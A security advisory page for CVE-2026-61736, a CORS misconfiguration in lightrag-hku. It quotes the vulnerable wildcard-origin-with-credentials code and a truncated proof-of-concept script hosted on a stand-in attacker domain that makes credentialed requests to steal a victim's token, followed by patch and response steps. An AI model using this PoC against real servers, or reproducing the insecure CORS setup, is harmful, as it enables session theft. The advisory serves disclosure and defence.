Vulnerability in lightrag-hku (CVE-2026-61736)
Summary
Vulnerability in lightrag-hku (CVE-2026-61736). Confidential information can be exposed externally. Mitigation: upgrade to 1.5.4 or later.
Original description
The description as published by the source.
Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
PoC
Host on any origin. Open in browser where user is logged in to LightRAG:
<!-- attacker.com/steal.html -->
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token }…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-61736 has been found in lightrag-hku.
Confidential information can be exposed externally. CVSS score: 9.3/10.
What to do: upgrade lightrag-hku to 1.5.4 or later.
If unsure, ask your IT team or search "lightrag-hku CVE-2026-61736" on the vendor's site.
CVE-2026-61736 (lightrag-hku) — CWE-942 / CVSS v3 9.3
Attack vector: remote (network-reachable) / unauthenticated
Patched: 1.5.4 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-942) exists in lightrag-hku.
Check the vendor advisory for the affected versions of lightrag-hku.
Severity: Critical (CVSS 9.3/10). Confidential information can be exposed externally.
Update to 1.5.4.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'lightrag-hku' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'lightrag-hku' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
lightrag-hkuを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade lightrag-hku to 1.5.4ステージング環境で 1.5.4 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com